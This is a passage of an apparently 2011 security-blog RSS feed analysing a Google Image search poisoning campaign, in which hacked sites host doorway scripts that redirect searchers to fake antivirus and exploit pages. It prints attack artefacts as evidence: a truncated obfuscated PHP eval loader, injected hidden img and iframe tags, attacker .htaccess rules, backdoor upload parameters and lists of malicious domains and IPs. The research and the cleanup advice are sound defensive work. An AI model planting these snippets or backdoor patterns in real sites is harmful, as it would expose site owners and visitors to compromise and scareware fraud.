<h4 id="ip_ua">Dependency on IP address and User-Agent</h4>
<p>The most important parameters that affect the redirect URLs are visitors&#8217; IP addesses and the User-Agent strings. I tested several dozens of combinations of various IPs and UAs. At this point <span style="color: #993300;"><em>mydiarycom.net</em></span> has three types of response that break traffic into three major categories:</p>
<ol>
<li>Mac traffic</li>
<li>PC traffic</li>
<li>Unwanted traffic</li>
</ol>
<p><strong>1. Redirect to a fake Mac antivirus site</strong> (e.g. &#8220;Apple security center&#8221;). &#8211; For all visitors whose web browsers have &#8220;Macintosh&#8221; in their User-Agent strings.</p>
<p>The typical redirect URL looks like this:</p>
<p><span style="color: #993300;">hxxp://<strong>89 .149 .226 .210/</strong>r/7073b499d369ec84a9cf110af621946c7bbbec33005b3e13</span></p>
<p>the IP address of the server and the string after <span style="color: #993300;">/r/</span> regularly change. I&#8217;ve seen the following IPs in the fake Mac AV URLs:</p>
<ul>
<li><strong>178.162.157.199</strong> (Belize,		        Belmopan		        Netdirect  <span style="color: #808080;">178.0.0.0 &#8211; 178.255.255.255</span>)</li>
<li><strong>178.162.173.44</strong> (Belize,		        Belmopan		        Netdirect  <span style="color: #808080;">178.0.0.0 &#8211; 178.255.255.255</span>)</li>
<li><strong>184.82.190.247</strong> (United States,		        		        Network Operations Center Inc <span style="color: #808080;">184.0.0.0 &#8211; 184.255.255.255</span>)</li>
<li><strong>188.72.248.140</strong> (Belize,		        Belmopan		        Netdirect <span style="color: #808080;">188.0.0.0 &#8211; 188.255.255.255</span>)</li>
<li><strong>212.124.107.190</strong> (United States,		        Amsterdam		        Mnogobyte Llc <span style="color: #808080;">212.124.107.0 &#8211; 212.124.107.255</span>)</li>
<li><strong>212.124.123.180</strong> (United States,		        Amsterdam		        Mnogobyte Llc <span style="color: #808080;">212.124.120.0 &#8211; 212.124.123.255</span>)</li>
<li><strong>212.124.123.182</strong> (United States,		        Amsterdam		        Mnogobyte Llc <span style="color: #808080;">212.124.120.0 &#8211; 212.124.123.255</span>)</li>
<li><strong>212.95.55.96</strong> (Hong Kong,		        		        Netdirect <span style="color: #808080;">212.95.55.0 &#8211; 212.95.55.255</span>)</li>
<li><strong>78.159.122.140</strong> (Hong Kong, 		        		        Netdirect <span style="color: #808080;">78.0.0.0 &#8211; 78.255.255.255</span>)</li>
<li><strong>78.159.122.23</strong> (Hong Kong, 		        		        Netdirect <span style="color: #808080;">78.0.0.0 &#8211; 78.255.255.255</span>)</li>
<li><strong>80.86.81.27</strong> (Germany,		        		        Intergenia Ag <span style="color: #808080;">80.86.81.0 &#8211; 80.86.81.255</span>)</li>
<li><strong>82.146.47.167</strong> (Russian Federation, Ispsystem Cjsc <span style="color: #808080;">82.146.40.0 &#8211; 82.146.47.255</span>)</li>
<li><strong>89.149.226.210</strong> (Germany		        		        Netdirect <span style="color: #808080;">89.149.226.0 &#8211; 89.149.227.255</span>)</li>
<li><strong>91.213.117.213</strong> (Ukraine,		        		        Safe Service Xxi (mhost Dc) <span style="color: #808080;">91.213.117.0 &#8211; 91.213.117.255</span>)</li>
<li><strong>91.226.212.64</strong> (Ukraine,		        		        Pe Ivanov Vitaliy Sergeevich <span style="color: #808080;">91.226.212.0 &#8211; 91.226.213.255</span>)</li>
<li><strong>95.158.185.67</strong> (Bulgaria		        		        Novatel Eood <span style="color: #808080;">95.0.0.0 &#8211; 95.255.255.255</span>)</li>
</ul>
<p><strong>2.1 Redirect to a general browser exploit site</strong>. &#8211; For visitors on non-Mac computers that use browsers other than Chrome.</p>
<p>The typical URL looks like this:</p>
<p><span style="color: #993300;">hxxp://<strong>rljdxskunks .info</strong>/index.php?<strong>tp</strong>=81350e0ebb536599</span></p>
<p>again, the domain name and the <span style="color: #993300;">tp</span> parameter regularly (roughly every 30 minutes) change. Here are some more domains of exploit pages:</p>
<ul>
<li><strong>xdasmeandered .info</strong> &#8211; 209.85.147.105 (California		        &#8211; Mountain View		        &#8211; Google Inc)</li>
<li><strong>artfitful .info</strong> &#8211; 209.85.147.105</li>
<li><strong>fitfuldot .info</strong> &#8211; 209.85.147.105</li>
<li><strong>bestinstitutionally .info</strong> &#8211; 209.85.147.105</li>
<li><strong>yrsimeandered .info</strong> &#8211; 209.85.147.105</li>
<li><strong>rljdxskunks .info</strong> &#8211; 109.230.246.226 (Germany,		        		        Marcel Edler Trading As Optimate-server)</li>
<li><strong>arcskunks .info</strong> &#8211; 109.230.246.226</li>
<li><strong>bhelskunks .info</strong> &#8211; 109.230.246.226</li>
<li><strong>fzfjjskunks .info</strong> &#8211; 109.230.246.226</li>
<li><strong>hzoyoskunks .info</strong> &#8211; 109.230.246.226</li>
</ul>
<p><strong>2.2. Alternatively, non-Mac computers (including Chrome browsers) are redirected to a fake PC antivirus site</strong> (e.g. &#8220;Windows Security 2011&#8243;)</p>
<p><span style="color: #993300;">hxxp://<strong>fwhzimpluck .info</strong>/fast-scan/</span></p>
<ul>
<li><strong>hpluck .info &#8211; </strong>95.64.48.132 (Romania,		        		        Netserv Consult Srl)</li>
<li><strong>confuseps .info</strong></li>
<li><strong>wbfiibpluck .info</strong></li>
<li><strong>osyqdhinequitable .info</strong></li>
<li><strong>pluckypu .info</strong></li>
<li><strong>canadianizeajvfil .info</strong></li>
<li><strong>canadianizex .info</strong></li>
<li><strong>upgncanadianize .info</strong></li>
<li><strong>canadianizevd .info</strong></li>
</ul>
<p><strong>3. Nothing returned</strong> (No redirect will be issued. The spammy page will be displayed instead)</p>
<ul>
<li>for known search engine bots (based on IP and UA)</li>
<li>for visitors who use Google Chrome (only when the exploit vector is active)</li>
<li>for visitors from Russia, Ukraine and Belarus who don&#8217;t use Macs.</li>
</ul>
<h3 id="sidenotes">Interesting sidenotes</h3>
<h4 id="ussr">ex-USSR traffic</h4>
<p>I couldn&#8217;t originally trigger the redirect because I used Internet Explorer UA along with a Russian IP address. Now I can see that the attackers are not interested in Russian non-Mac traffic &#8212; probably this traffic is hard to monetize. On the other side, Mac owners in Russia are quite wealthy people who have credit cards and can easily afford paying $50-100 (and many of them can read in English).</p>
<p>At the same time, traffic from other countries with low purchasing power (e.g. Turkey, China, Romania) is treated no different then traffic from the United States or the European Union. This also suggests that the attackers are originally from the former Soviet Union.</p>
<h4 id="chrome">Google Chrome</h4>
<p>Google Chrome seems to be immune to the exploit that is currently used for non-Mac visitors.</p>
<h4 id="AS15169">Malware on Google&#8217;s server?</h4>
<p>You might have noticed, many exploit sites (e.g. <em><span style="color: #993300;">fitfuldot .info</span></em>) were hosted on a server with the IP address of <strong>209.85.147.105</strong>. The irony is this address belongs to Google. The domain names no longer resolve, but you can see the historical records on DomainTools.com. For example, check the record for <a href="http://whois.domaintools.com/fitfuldot.info" target="_blank">fitfuldot .info</a> and click on the &#8220;Server Stats&#8221; tab &#8212; you will see that the server belongs to &#8220;<em>California		        &#8211; Mountain View		        &#8211; Google Inc</em>&#8221; and has the <strong>gws</strong> (Google Web Server) type. And if you check more information for that <a href="http://whois.domaintools.com/209.85.147.105" target="_blank">IP address</a> you&#8217;ll see that&#8221;<em><strong>281</strong> websites use this address. (examples: <span style="color: #993300;">abroaddomain .info abroadhosting .info abroadsmart .info abroadsoft .info</span>)</em>&#8221; &#8211; they all belong to the same attack.</p>
<p>And if you check Safe Browsing diagnostic page for <a href="http://www.google.com/safebrowsing/diagnostic?site=osyqdhinequitable.info/" target="_blank">osyqdhinequitable .info</a> (fake AV site) you&#8217;ll see that at some point it was hosted on <strong>AS15169</strong> (Google Internet Backbone) network.</p>
<p>Now that the malicious domains have been shut down (their name servers currently read as: NS1.SUSPENDED-FOR.SPAM-AND-ABUSE.COM), if you navigate your browser to http://209.85.147.105/ you&#8217;ll see a real Google&#8217;s home page.</p>
<p>Any ideas how hackers managed to use Google&#8217;s own server?</p>
<p><strong><span id="update1" style="color: #888888;">Update (June 29, 2011):</span></strong> Some <a href="http://twitter.com/#!/Jindroush/status/86136119070179328" target="_blank">readers note</a> that Google might have simply sinkholed those malicious domains. Good point! Indeed, I don&#8217;t actually remember when I resolved those domain names as the whole investigation took several weeks. Probably I did it a few days after I checked the malicious content on those domains (I wish I checked HTTP headers back then!). And the NS(1|2).SUSPENDED-FOR.SPAM-AND-ABUSE.COM name servers suggest that the current IP address is different from the original IP address. In either way, I didn&#8217;t think that Google&#8217;s server was hacked. I thought this could be some service that allowed to create websites on Google&#8217;s infrastructure (e.g. Google Sites, Google App Engine, or something like this &#8212; hardly anyone can remember them all ;-) What do you think?</p>
<h3 id="observations">Other changes and observations.</h3>
<h3 id="rotating">Rotating User-Agent.</h3>
<p>In the doorway script, the internal function that downloads search results from Google (they  are used to compose spammy pages) now randomly rotates three different  User-Agent strings. This way the script tries to evade being detected as  automated requests to Google.</p>
<h3 id="password">Passwords-protected</h3>
<p>The <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/#requests">maintenance requests</a> to the script are now passwords-protected. To be able to change the  <span style="color: #993300;"><em>xml.cgi</em></span> file (with the domain name of the remote server) and to use a  file uploader, you now need to provide a password in the &#8220;<em>name</em>&#8221;  parameter of a POST request. The MD5 value of that password must be  equal to &#8220;<strong>42a3f0678d1bbb517272142f5b3df3cd</strong>&#8221; (any ideas what the password is?).</p>
<p>This  way they can protect their doorways from other parties who might want  to hijack them and redirect the traffic to third-party sites. In  previous version, anyone who knew the algorithm (for example, having  read <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/#requests">my blog post</a>) could easily upload files to compromised sites.</p>
<h3 id="links">Link schemes</h3>
<p>To have Google discover the doorway pages on hacked sites, cybercriminals create link pages on free sites. It&#8217;s usually some free hosted blogging services like blog.fc2.com. So they create hundreds of blogs and regularly publish posts that consist of hundreds of links to doorway pages.</p>
<h4 id="ning">Spam on Ning.com</h4>
<p>I&#8217;ve found an interesting variation of this approach lately. Instead of creating new blogs, they register with existing <strong>Ning.com</strong> communities and post spammy comments and blogposts there. Again, each post consists of hundreds of links to doorway pages and to similar spammy posts on other Ning.com sites. (I found 700+ ning sites with the spammy link pages)</p>
<p>Such rogue ning.com users usually have unintelligible names like &#8220;<em>cfulahlz</em>&#8221; or &#8220;<em>yflcypzt</em>&#8220;. Sometimes they are registered as males, sometimes as females. However, it is easy to spot such users as they always specify &#8220;<em>Wiggins, CO, United States</em>&#8221; as their location. The following Google search can help reveal hundreds of such rogue users: [<a href="http://www.google.com/search?q=site%3Aning.com+%22Wiggins%2C+CO%22&amp;" target="_blank">site:ning.com "Wiggins, CO"</a>]</p>
<h4 id="sitemaps">&#8220;Sitemap&#8221; links</h4>
<p>At some point the linking scheme also included compromised sites where hackers injected cloaked spammy links (visible only if you pretend to be a Googlebot). What&#8217;s interesting, I&#8217;ve found <strong>115</strong> such hacked sites and they are all hosted on <strong>10</strong> IP addresses that belong to <strong>4</strong> different hosting providers (according to DomainTools.com): Liquid Web Inc, Tailor Made Servers, Hostmysite and Nashua Goldenware. When I tryied to check other sites on the same IPs, they all were similarly hacked. This fact suggests that whole servers were hacked rather than individual sites.</p>
<p>Fortunately, those servers seem to had been cleaned up a few days ago, but you can still see the signs of the attack in Google&#8217;s search results for [<a href="http://www.google.com/search?q=%22Sitemap+2295+*+Sitemap+4008+*+Sitemap+2960%22" target="_blank">"Sitemap 2295 * Sitemap 4008 * Sitemap 2960"</a>] &#8211; and for some results you can still see cached pages with links to spammy &#8220;sitemaps&#8221;.</p>
<h3 id="blacklisting">Can Google efficiently blacklist doorway sites?</h3>
<p>Once I revealed the linking schemes, it was quite easy to compile a list of <strong>10,000+</strong> unique compromised sites with doorway pages.</p>
<p><img style="padding: 4px; margin: 0 7px 7px 2px; border: 0; display: inline; float: left; clear: both;" title="flagged sites" src="http://blog.unmaskparasites.com/wp-content/uploads/2011/06/flagged-sites.jpg" border="0" alt="Screenshot: flagged sites" /></p>
<p style="margin-top: 0;">As I mentioned on June 23rd, Google had a <a href="http://blog.unmaskparasites.com/2011/06/23/google-image-poisoning-mitigation-and-the-new-wave/#detection">very low detection rate</a> of about <strong>3%</strong> for those doorway sites. Earlier that day, I sent my list of then <strong>9,000+</strong> hacked sites along with the decoded doorway script to Google.</p>
<p>Five days later, I&#8217;m going through my list again and now I can see some improvements. Google seems to be scanning sites from my list in an alphabetical order. At this point, I can see that roughly <strong>20%</strong> of the domain names that start with digits or with letter &#8220;a&#8221; have been blacklisted by Google (which means that only about 700 sites from my list have been processed).  The rest of the list (about 10,000 sites) still have the same low percentage (<strong>~3%</strong>) of flagged sites.</p>
<p>In May, in took significantly less time for Google to flag a hefty part of all doorway sites that poisoned Google Image search. Of course, that wave of the black hat SEO attack had a noticeable side effect: <a href="http://blog.unmaskparasites.com/2011/05/08/imgaaa-net-and-other-blacklisted-domains-used-in-google-image-search-poisoning/">imgaaa &amp; co img and iframe tags</a> injected into index pages of hacked sites. So Google only needed to find those tags on infected sites. That worked like a charm and helped them flag over 34,000 sites and <a href="http://blog.unmaskparasites.com/2011/06/23/google-image-poisoning-mitigation-and-the-new-wave/#reaction">mitigate the attack in a very short time</a>.</p>
<p>Unfortunately, this new wave doesn&#8217;t have such easily detectable signs and Google needs to improve their scanners to be able to detect malicious behavior despites of all new countermeasures that hackers invent. At this point, I can see that after June 23rd Google hasn&#8217;t picked up malware on quite a few doorway sites that still redirect visitors to bad sites.</p>
<p>Given these problems with detection, it is important for Google to keep on improving the ranking algorithm so that computer-generated doorway pages have very little chance of being displayed on first pages of search results.</p>
<h3 id="webmasters">To webmasters</h3>
<p>Sites, that have been blacklisted after June 23rd mostly have the following non-informative and quite confusing descriptions on their Safe Browsing diagnostic pages:</p>
<blockquote><p>&#8220;Of the 7 pages we tested on the site over the past 90 days, <strong>0</strong> page(s)  resulted in malicious software being downloaded and installed without  user consent. The last time Google visited this site was on <strong>2011-06-24</strong>, and suspicious content was never found on this site within the past 90 days.&#8221;</p></blockquote>
<p>or</p>
<blockquote><p>&#8220;Google has not visited this site within the past 90 days. Suspicious  activity was detected over 90 days ago, but no data is available for the  past 90 days.&#8221;</p></blockquote>
<p>Note that the pages say that either &#8220;<em><strong>0</strong> page(s)  resulted in malicious software being downloaded and installed</em>&#8221; or &#8220;<em>no data is available for the  past 90 days</em>&#8220;. At the same time, no malicious or intermediary domains are mentioned.</p>
<p>It looks like Google&#8217;s anti-malware system is not yet properly configured to deal with this sort of problem. I guess that some experimental module is involved in detection of these malicious doorways so the lack of details on diagnostic pages and in the &#8220;Malware&#8221; section of Google Webmaster Tools is explainable.</p>
<p>Meanwile, if you see such diagnostic pages for your blacklisted sites, consider searching your server for doorway files. For example, I find [<strong>site:example.org</strong>] and [<strong>site:example.org inurl:page</strong>] Google searches very helpful to detect this problem (replace <em>example.org</em> with your site&#8217;s domain name).</p>
<p>If you wonder how hackers managed to break into your site, I can tell that I have enough evidence that they used stolen FTP credentials. So to prevent reinfections, it is important to change all passwords and <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">refrain from saving them in FTP clients</a>.</p>
<p>You can find more information on <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/#webmasters">how to detect this attack and clean up your site</a> in my previous article.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/06/23/google-image-poisoning-mitigation-and-the-new-wave/">Google Image Poisoning. Mitigation and the New Wave</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/08/imgaaa-net-and-other-blacklisted-domains-used-in-google-image-search-poisoning/">Imgaaa .net And Other Blacklisted Domains Used in Google Image Search Poisoning</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/">Major Disasters in Poisoned Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Thousands of Hacked Sites Seriously Poison Google Image Search Results</title>
		<link>http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/</link>
		<comments>http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/#comments</comments>
		<pubDate>Thu, 05 May 2011 11:51:49 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[doorway]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hotlinking]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[imgaaa]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=787</guid>
		<description><![CDATA[This investigation began a few weeks ago, when I came across the following two threads in website security forums:
[badwarebusters.org] Lately I have been seeing a huge increase in the number of hacked sites appearing on google image search results that redirect to a fake Av scanner. more »»
[Google Webmaster Help] google image search results often [...]]]></description>
			<content:encoded><![CDATA[<p>This investigation began a few weeks ago, when I came across the following two threads in website security forums:</p>
<blockquote><p>[badwarebusters.org] Lately I have been seeing a huge increase in the number of hacked sites appearing on google image search results that redirect to a fake Av scanner. <a href="https://badwarebusters.org/main/itemview/24805">more »»</a></p></blockquote>
<blockquote><p>[Google Webmaster Help] google image search results often has multiple infected / malware sites on the first SERP page. <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=594b6a7ba1b12160&amp;hl=en">more »»</a></p></blockquote>
<p>This is a well known problem. I blogged about such SEO poisoning attacks <a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">several</a> <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">times</a> here. This time I decided to check what&#8217;s behind the reported increase in malicious image search results.<br />
<span id="more-787"></span></p>
<p>The attack uses cloaking to feed keyword-rich pages with hot-linked images to search engine bots and return a malicious JavaScript that redirects to fake AV sites to visitors that come from search engines.</p>
<p>Here&#8217;s a screenshot of a typical Google Image search results page where I highlighted suspicious results <span style="color: #ff99cc;">Pink frame</span>: the image is hot-linked, <span style="color: #ff0000;">Red frame</span>: the results is outright malicious and redirects to a fake AV site. (I wish Google had similar highlighting to warn unsuspecting searchers.)</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/05/picture1.jpg" border="0" alt="" /></div>
<p>My goal was to find out</p>
<ol>
<li>how the sites were compromised and what webmasters can do to prevent such infections</li>
<li>and whether it was possible to identify all compromised sites and have Google remove hijacked search results from its index.</li>
</ol>
<h3 id="imgaaa">Imgaaa</h3>
<p>I began with checking home pages of a few known hacked sites trying to find some common patterns. Quite soon I discovered the following code at the very bottom of most of them:</p>
<p><code>&lt;img heigth="1" width="1" border="0" src="hxxp://<strong>imgaaa .net</strong>/t.php?id=6214178"&gt;</code></p>
<p>Some alternative variants<br />
<code>&lt;img heigth="1" width="1" border="0" src="hxxp://<strong>myteenmovies .net</strong>/t.php?id=5360168"&gt;<br />
or<br />
&lt;iframe heigth="1" width="1" frameborder="0" src="hxxp://<strong>curem .net</strong>/t.php?id=1517731"&gt;&lt;/iframe&gt;<br />
Update (May 6th, 2011) or<br />
&lt;img heigth="1" width="1" border="0" src="hxxp://<strong>imgddd .net</strong>/t.php?id=15433533"&gt;</code></p>
<p>The &#8220;<span style="color: #993300;"><em>imgaaa .net</em></span>&#8221; domain didn&#8217;t resolve and the code looked suspicious so I decided to google for this <em>imgaaa</em>.</p>
<p>Quite soon I found <a href="http://wordpress.org/support/topic/xml-parsing-error-13">this thread</a> on WordPress support forum. It was the key to answering all my questions. I asked people to help with my investigation and they provided me with important internal information (e.g. .php files uploaded by hackers and some statistics).  This information helped me reconstruct the whole scheme behind this attack, find thousands of infected sites and estimate the scale of the problem.</p>
<p>Update (May 6th, 2011): Some other domains on the same IP as <em>imgaaa .net</em>: <span style="color: #993300;"><em>imgbbb.net</em></span>, <span style="color: #993300;"><em>imgccc .net</em></span>, <span style="color: #993300;"><em>imgddd .net</em></span>, <span style="color: #993300;"><em>ingeee .net</em></span>.</p>
<h3 id="short">Short description</h3>
<p><strong>1.</strong> Criminals use <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> to upload malicious <strong>.php</strong> files to compromised servers. (confirmed both by webmasters who found trojans on their computers and by hosting providers who found attack traces in FTP logs)</p>
<p><strong>2.</strong> These files generate spammy web pages on-the-fly. As a  keyword-rich content they use combination of top Google web search  results and Image search results.</p>
<p><strong>3.</strong> The generated spammy pages are interlinked to make sure Googlebot  discovers them all. Moreover, they use Google&#8217;s suggested searches to  generate links to new spammy pages (they will be generated on-the-fly  when Googlebot follows the links). This simple scheme makes Google  generate spam for its own index.</p>
<p><strong>4.</strong> To have Google discover the spammy pages in the first place,  criminals create blogs using free blogging services (e.g.  http://blog.fc2.com/) where they post links to newly created  spam-generating scripts on hacked sites.</p>
<p><strong>5.</strong> Now the Google exploit in action:  The combination of keywords  from top Google search results for particular keywords and hot-linked  images returned by Google Image search for the same keywords, makes the  newly generated spammy pages appear at the top (the first page) of Google Image search results within a few days, hijacking results of sites that  actually host (and usually own) the images.</p>
<p>This works like a charm. Exploiting this flaw, cybercriminals  managed to hijack search results on the first pages of Google Image search for millions of keywords. I estimate that this trick generates at least <strong>15 million clicks on poisoned image search results every months</strong>. (<a href="#stats">calculations</a> and the <a href="#algorithm">detailed description</a> of how this Google exploit works can be found below)</p>
<p><strong>6.</strong> What makes this a security problem is what happens when people  click on such hijacked search results. The rogue script detects a  visitor that comes from search results and substitutes the  spammy page with some malicious JavaScript  (that in most cases redirects to fake AV sites).</p>
<h3 id="detailed">Detailed reconstruction of the attack</h3>
<p><span style="color: #888888;"><strong>Update (June 2011)</strong></span>: After May 17th, the attack scheme has slightly changed. You can find <a href="http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/">description of the changes in the following post</a>.</p>
<h4>1. Uploading the PHP script.</h4>
<p>Malicious hackers use stolen FTP login details to upload an obfuscated <strong>.php</strong> file to some directory on a server.  They may upload several identical files with different names to different directories.</p>
<p>Here are the IP addresses that people usually find in FTP logs: <strong>46.252.130.109</strong> and <strong>91.200.240.10</strong>.<br />
<strong><span style="color: #888888;">Update (May 10th, 2011)</span></strong>: Two comments mentioned one more IP: <strong>91.200.241.200</strong>.</p>
<p>The <strong>.php</strong> script usually has a name that consists of either two random digits (e.g. <span style="color: #993300;"><em>35.php</em></span>) or three random letters (e.g. <span style="color: #993300;"><em>gmp.php</em></span>).</p>
<p>The file contains about 11 Kb of an obfuscated code:</p>
<p><code>&lt;? eval(gzuncompress(base64_decode('eNqdWNtuGkkQ/ZmVSKRVBINtZbTiAR4Yd<strong>...skipped...</strong>wV/UO/k/6QMUUQ=='))); ?&gt;</code></p>
<p>This file is responsible for generating spammy pages,  pushing malicious content and uploading additional files to a server.</p>
<h4 id="alcobro">2. Preparation (alcobro)</h4>
<p>Now the uploaded script should be registered and added to a network of compromised sites. To do so hackers make a request with the <span style="color: #993300;">?q=alcobro</span> parameter.</p>
<p>This request prepares the hacked site. It creates the following directories:</p>
<p><span style="color: #993300;">/.log</span><br />
<span style="color: #993300;">/.log/<em>compromiseddomain.com</em></span></p>
<p>where <span style="color: #993300;"><em>compromiseddomain.com</em></span> is the domain name that I will use in this post as a replacement for the actual domain names of compromised sites.</p>
<p>Then it creates a file called <span style="color: #993300;">/.log/<em>compromiseddomain.com</em>/<strong>xmlrpc.txt</strong></span> and writes the following line there: &#8220;<span style="color: #993300;">bestnetblog.net</span>&#8220;. This file contains the domain name of the remote server where the script can request a new malicious code from.</p>
<p>Then it tries to create an <strong>.htaccess</strong> file with the following content</p>
<p><code id="htaccess">&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule ^(.*)$ <em><strong>script-name.php</strong></em>?q=$1 [L]<br />
&lt;/IfModule&gt;</code></p>
<p>where <span style="color: #993300;"><em>script-name.php</em></span> is the path to the uploaded <strong>.php</strong> file (e.g. /wp-admin/26.php).</p>
<p>These rewrite rules define &#8220;SEO-friendly&#8221;  links for doorway pages. Instead of <span style="color: #993300;">hxxp://compromiseddomain.com/wp-admin/26.php?q=search-keywords</span> the link will read as <span style="color: #993300;">hxxp://compromiseddomain.com/wp-admin/search-keywords/</span></p>
<p>This .htaccess file is only created if doesn&#8217;t already exist.  Otherwise, <span style="color: #993300;">?q=search-keywords</span> links will be used.</p>
<p>and finally the script contacts<br />
<span style="color: #993300;">hxxp://bestnetblog .net//logdomain.php?q=<em>compromiseddomain.com</em></span> to let the criminals know that the <span style="color: #993300;"><em>compromiseddomain.com</em></span> is ready to generate doorway pages.</p>
<h4 id="requests">Alternative maintenance requests</h4>
<p><span style="color: #993300;">?<strong>dom100500</strong>=&lt;domain.com&gt;</span> &#8211; this request updates the content of the <span style="color: #993300;">xmlrpc.txt</span> file with the domain name of a malicious server that hosts fresh redirect code.</p>
<p>Currently they use the following domain names: <span style="color: #993300;">love-adamcom.net</span>, <span style="color: #993300;">love-adambiz.net</span>, <span style="color: #993300;">love-adamorg.net</span>, <span style="color: #993300;">love-adaminfo.net</span> &#8211; all <strong>184.82.169.171</strong></p>
<p><span style="color: #993300;">?<strong>up100500</strong>=&lt;some-value&gt;</span> &#8211; this request turns the script into an upload form.</p>
<p>On one compromised site they used this functionality to  upload a web shell script called <span style="color: #993300;">avuv.php</span>.</p>
<h4 id="q_requests">Processing q requests</h4>
<p>The main function of the script is to process <span style="color: #993300;">?q=search-keywords</span> requests ( or <span style="color: #993300;">/search-keywords</span> in case of the appropriate .htaccess rules).</p>
<p>The script distinguishes three different situations:</p>
<ol>
<li>Request from a search engine bot (determined by the IP address ). In this case the script generates a keyword-rich page (see the <a href="#algorithm">algorithm</a> below) and feeds it to the bot.</li>
<li>Visitor that clicked on a search engine result on Google, Yahoo or Bing (determined by the referrer header). In this case the script returns a malicious JavaScript.<br />
Note 1: the malicious JavaScript is not returned if the search query contains the &#8220;<strong>site:</strong>&#8221; operator (to hide the malicious content from site owners and tools that rely on this operator)<br />
Note 2: the malicious JavaScript is <em>always</em> returned if your browser is <strong>Opera</strong> (even if you don&#8217;t come from a search engine)</li>
<li>The rest requests are simply redirected to a homepage.</li>
</ol>
<h4 id="algorithm">Perfect doorway generator (algorithm)</h4>
<p>To generate a web page that can hijack image search results for a &#8220;<em>search-keywords</em>&#8221; query, the script does the following:</p>
<p><strong>1.</strong> Get descriptions of top 50 Google web search results for &#8220;<em>search keywords</em>&#8220;.</p>
<p><strong>2.</strong> Shuffle the words in those descriptions randomly to get some unique text.</p>
<p>The resulting text is not intelligible but it&#8217;s enough to exploit that Google&#8217;s flaw. Here&#8217;s an excerpt from a real spammy page that targets the &#8220;<em>sarpagandha</em>&#8221; keyword:</p>
<blockquote><p>&#8220;It has been used since ages in   Print e-mail ayurveda herb finder miscategorized Tablets, sarpagandha experts belongs Advice on ayurvedic medicines herbalsarpagandha Linn, family botanical name rauvolfia serpentina&#8230;&#8221;</p></blockquote>
<p><strong>3.</strong> Get top 20 Google Image search results for &#8220;<em>search keywords</em>&#8221; and extract links to image files.</p>
<p><strong>4.</strong> Generate &lt;img&gt; tags for each extracted image link. E.g.</p>
<p><code>&lt;img src="http://www.hijacked-site1.com/path/hot-linked-image.jpg" alt="search keywords" align="random(center, right, left)"&gt;</code></p>
<p><strong>5.</strong> Shuffle the generated &lt;img&gt; tags (to change their order)</p>
<p><strong>6.</strong> Break the generated in the step #2 text into sentences and mix them with the &lt;img&gt; tags. This will be a keyword-rich HTML code with hot-linked images for the &#8220;<em>search keyword</em>&#8221; query.</p>
<p><strong>7.</strong> To facilitate discovery of new pages and to provide them with incoming links, each spammy page contains a section that links to 30 most recently generated doorway pages.</p>
<p><strong>8.</strong> Get up to 10 suggested keyword from Google autocomplete and use them to generate links to doorway pages that target these suggested keywords. This way Google itself suggests what search keywords should be targeted. Spammers only need to come up with a few initial keyword &#8212; the rest Google will do itself.</p>
<p><strong>9.</strong> At the bottom of each spammy block, there is a section of links to 6 alternative pages for the same &#8220;search keywords&#8221;. The links look like this:</p>
<p><code>&lt;p&gt;&lt;a href="http://compromiseddomain.com/search-keywords<strong>&amp;page</strong>=2" title="Search Keywords"&gt;Search Keywords - Page 2&lt;/a&gt; | ...<strong>skipped</strong>.... &gt;Search Keywords - Page 7&lt;/a&gt;&lt;/p&gt;</code></p>
<p>All those pages are generated the same way. The only difference is the page #2 takes image links from the second page of Google Image search results, the page #3 from the third page of image search results, and so on. The textual parts of these pages use absolutely the same words, only in a different (random) order.</p>
<p><strong>10. Spammy block template</strong>. Then the algorithm concatenates all the generated parts into a single block that look like this:</p>
<p><code>&lt;h1&gt;SEARCH KEYWORDS&lt;/h1&gt;<br />
suggested links<br />
